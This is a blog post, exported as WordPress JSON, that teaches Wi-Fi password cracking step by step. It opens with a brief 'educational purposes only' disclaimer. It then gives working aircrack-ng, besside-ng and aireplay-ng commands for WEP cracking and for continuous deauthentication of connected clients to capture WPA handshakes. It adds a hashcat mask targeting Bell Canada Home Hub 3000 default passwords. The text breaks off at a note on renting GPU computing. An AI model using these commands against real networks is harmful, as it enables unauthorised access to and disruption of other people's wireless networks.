{"id":1140,"date":"2021-02-14T19:29:31","date_gmt":"2021-02-14T19:29:31","guid":{"rendered":"https:\/\/dft.wiki\/?p=1140"},"modified":"2026-06-09T09:42:41","modified_gmt":"2026-06-09T13:42:41","slug":"how-to-crack-wifi-wep-and-wpa-wpa2","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=1140","title":{"rendered":"How to Crack WIFI: WEP and WPA\/WPA2"},"content":{"rendered":"

This blog and all its posts are for educational purposes only. Do not perform any of these actions on a Wi-Fi network that does not belong to you or that you do not have written permission to test.<\/p>\n

Hacking Wi-Fi with WEP encryption<\/strong> is straightforward.<\/p>\n

First, listen for nearby Wi-Fi networks using WEP encryption:<\/p>\n

airodump-ng wlan0 --encrypt wep<\/pre>\n
Replace the channel number (1<\/strong> in the example) and the MAC address (FF:FF:FF:FF:FF:FF<\/strong> in the example) with the values from airodump:<\/p>\n
besside-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF<\/pre>\n
This command captures IV packets, which are the type of packets used to crack WEP. It starts with packet injection and then moves on to flooding.<\/p>\n
It will give you the hex version of the password. Use the following command to get the ASCII version:<\/p>\n
aircrack-ng .\/wep.pcap<\/pre>\n
An alternative method takes a bit longer since there is no packet injection to speed up the process, but it works fine too.<\/p>\n
Once you know the channel and the BSSID (the router’s MAC address), run the following commands in two separate terminals:<\/p>\n
airodump-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF\r\naircrack-ng .\/wep.pcap<\/pre>\n
Airodump captures packets in one terminal while aircrack re-checks the file every 5,000 packets until it has enough data to crack the password.<\/p>\n
Cracking a Wi-Fi network that uses WPA\/WPA2<\/strong> involves capturing the 4-way handshake and feeding that data into hashcat to recover the password using brute force.<\/p>\n
To capture the handshake, a device must connect to the network. This can be a long wait, or you can deauthenticate a connected device and wait for it to reconnect.<\/p>\n
The hash-cracking step is more involved because it relies on a password list, either a public one or a custom one built with tools like CUPP, optionally combined with Mentalist.<\/p>\n
Set the wireless adapter to monitor mode, verify the mode change, and start capturing packets:<\/p>\n
sudo airmon-ng start wlan0\r\niwconfig\r\nsudo airodump-ng wlan0mon<\/pre>\n
The tool will hop between channels and display all reachable routers along with their connected devices.<\/p>\n
sudo airodump-ng -c1 -w output_file -d FF:FF:FF:FF:FF:FF wlan0mon<\/pre>\n
Note that -c1<\/strong> means channel 1 and FF:FF:FF:FF:FF:FF<\/strong> is the MAC address of the target router.<\/p>\n
In a second terminal, deauthenticate one of the connected clients:<\/p>\n
sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE wlan0mon<\/pre>\n
The first argument 0<\/strong> is the number of packets to send (0 means continuous), -a<\/strong> is the access point, and -c<\/strong> is the client.<\/p>\n
In the airodump terminal, you should see “WPA handshake: FF:FF:FF:FF:FF:FF<\/strong>” at the top, which means the handshake was captured and you can stop the process.<\/p>\n
sudo airmon-ng stop wlan0mon<\/pre>\n
If you open the output_file.pcap<\/strong> file in Wireshark and filter by “eapol<\/strong>” (Extensible Authentication Protocol over LAN), you will see the 4-way handshake.<\/p>\n
Now use a wordlist to check if any entry matches the password:<\/p>\n
aircrack-ng output_file.pcap -w \/usr\/share\/dict\/words<\/pre>\n
The wordlist above is a basic dictionary with a limited number of entries. Consider using RockYou or building a custom list based on available information: the SSID (which can indicate the internet provider) and the MAC address (which reveals the hardware manufacturer) can help narrow down the likely password pattern.<\/p>\n
For example, Bell Canada’s Home Hub 3000 modem uses a 12-character password where each character is an uppercase hex digit (0-F):<\/p>\n
hashcat -m 2500 -a3 handshake.hccapx ?H?H?H?H?H?H?H?H?H?H?H?H<\/pre>\n
Do not be discouraged if the estimated time to finish is around 1,800 years. Find a high-performance GPU and take on the challenge \ud83d\ude42<\/p>\n
\"\"<\/p>\n
Using Linode GPU computing to crack the password hash:<\/p>\n